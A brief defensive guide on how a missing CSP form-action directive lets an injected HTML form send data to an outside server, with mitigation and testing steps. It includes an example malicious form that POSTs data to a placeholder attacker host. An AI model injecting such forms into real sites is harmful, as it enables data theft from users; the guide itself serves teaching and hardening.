Bypass CSP with Form Tag

TL;DR

Content Security Policy (CSP) can be bypassed using a form tag if it’s not properly configured to restrict form actions. This method allows an attacker to submit data to an external URL, potentially leading to cross-site scripting (XSS) or other malicious activities.

How It Works

CSP controls the resources a browser is allowed to load for a specific web page. If CSP doesn’t explicitly restrict form actions, an attacker can craft a form that submits data to their own server.

Solution Guide

1. Understand Your Current CSP
   • Inspect the Content-Security-Policy header in your browser’s developer tools (Network tab).
   • Look for directives like form-action. If it’s missing or too permissive, you are vulnerable. For example: Content-Security-Policy: default-src 'self' does not restrict form actions.
2. Identify Vulnerable Forms
   • Search your web application for forms that don’t explicitly define the action attribute or use relative URLs without a strict CSP policy in place.
3. Craft the Malicious Form

   Create an HTML form with an action pointing to an attacker-controlled URL.

   <form action="https://attacker.example.com/collect" method="POST">
     <input type="hidden" name="data" value="Your sensitive data here">
     <button type="submit">Submit Form</button>
   </form>

   The action attribute is the key. If CSP allows it, this form will submit to the attacker’s server.

4. Inject the Malicious Form
   • This typically involves exploiting an XSS vulnerability to inject the crafted form into a vulnerable web page. Common injection points include user input fields that aren’t properly sanitized or reflected in the response.
5. Mitigation: Strengthen Your CSP
   • Restrict Form Actions: Use the form-action directive to specify allowed domains for form submissions.

     Content-Security-Policy: form-action 'self' https://trusted.example.com;

     This allows forms to submit only to your own domain (‘self’) and a trusted external domain.

   • Use Nonces or Hashes for Inline Scripts: While this doesn’t directly address form actions, it’s crucial for preventing XSS which is often the prerequisite for injecting malicious forms.

     Content-Security-Policy: script-src 'nonce-{random_value}';

   • Input Validation and Output Encoding: Always validate user input on the server-side and encode output to prevent XSS vulnerabilities.
6. Testing Your CSP
   • Use browser developer tools to verify that your CSP is blocking unauthorized form submissions. Look for CSP violations in the console.
   • Attempt to inject a malicious form as described above and confirm it’s blocked by the policy.